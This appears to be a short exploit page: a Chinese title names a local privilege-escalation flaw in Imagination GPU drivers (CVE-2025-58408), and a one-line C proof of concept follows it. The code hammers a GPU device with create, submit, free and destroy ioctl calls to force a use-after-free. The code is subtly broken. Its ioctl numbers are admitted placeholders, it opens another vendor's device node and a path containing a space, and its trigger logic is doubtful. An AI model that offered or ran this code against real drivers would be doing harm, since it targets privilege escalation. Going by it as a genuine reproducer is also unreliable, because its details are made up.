CVE-2025-58408: Imagination GPU驱动本地权限提升漏洞

// CVE-2025-58408 PoC - GPU System Call Trigger // This PoC demonstrates improper GPU system calls that may trigger UAF #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // GPU IOCTL commands (example structure) #define IMG_IOCTL_CREATE_CONTEXT 0x10001 #define IMG_IOCTL_SUBMIT_CMD 0x10002 #define IMG_IOCTL_DESTROY_CONTEXT 0x10003 struct gpu_context_args { unsigned int flags; unsigned int handle; }; struct gpu_cmd_args { unsigned int context_handle; unsigned long cmd_buffer; unsigned int cmd_size; }; int main() { int fd; struct gpu_context_args ctx_args; struct gpu_cmd_args cmd_args; printf("CVE-2025-58408 PoC - GPU UAF Trigger\n"); // Open GPU device fd = open("/dev/mali0", O_RDWR); if (fd < 0) { fd = open("/dev/imagination gpu", O_RDWR); } if (fd < 0) { printf("[-] GPU device not accessible\n"); return 1; } // Step 1: Create GPU context ctx_args.flags = 0; ctx_args.handle = 0; if (ioctl(fd, IMG_IOCTL_CREATE_CONTEXT, &ctx_args) < 0) { printf("[-] Failed to create context\n"); close(fd); return 1; } printf("[+] Context created: 0x%x\n", ctx_args.handle); // Step 2: Submit commands and trigger race condition for (int i = 0; i < 1000; i++) { cmd_args.context_handle = ctx_args.handle; cmd_args.cmd_buffer = (unsigned long)malloc(4096); cmd_args.cmd_size = 4096; // Trigger rapid allocation/deallocation ioctl(fd, IMG_IOCTL_SUBMIT_CMD, &cmd_args); free((void*)cmd_args.cmd_buffer); // Attempt to reuse freed resources ioctl(fd, IMG_IOCTL_SUBMIT_CMD, &cmd_args); } // Step 3: Destroy context and trigger UAF ioctl(fd, IMG_IOCTL_DESTROY_CONTEXT, &ctx_args); // Step 4: Try to access stale handle cmd_args.context_handle = ctx_args.handle; ioctl(fd, IMG_IOCTL_SUBMIT_CMD, &cmd_args); close(fd); printf("[+] UAF condition triggered\n"); return 0; }